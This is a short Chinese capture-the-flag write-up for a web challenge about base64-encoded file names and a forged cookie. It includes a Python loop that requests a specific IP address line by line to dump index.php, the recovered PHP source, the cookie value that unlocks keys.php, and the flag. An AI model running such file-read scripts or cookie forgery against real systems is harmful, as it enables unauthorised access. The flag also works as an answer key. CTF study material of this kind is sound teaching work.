cookie
时间:2023年9月9日
类型:Web cookie base64
发现get传参给变量filename了一个base64加密数据,解码后为key.txt,将字符串“index.php”base64编码后传给filename变量,再改变line的值来遍历主页源码,编写简易脚本跑一下
import requests
content = ""
for i in range(20):
res = requests.get(f"http://114.67.175.224:10668/index.php?line={i}&filename=aW5kZXgucGhw")
content += res.content.decode()
print(content)
<?php
error_reporting(0);
$file=base64_decode(isset($_GET['filename'])?$_GET['filename']:"");
$line=isset($_GET['line'])?intval($_GET['line']):0;
if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ=");
$file_list = array(
'0' =>'keys.txt',
'1' =>'index.php',
);
if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){
$file_list[2]='keys.php';
}
if(in_array($file, $file_list)){
$fa = file($file);
echo $fa[$line];
}
?>
所以我们需要构造一个 cookie,使我们有访问keys.php的权限,再将keys.php进行base64编码为a2V5cy5waHA=
flag{19094366b35e73f3bbd691ce7eab7a1c}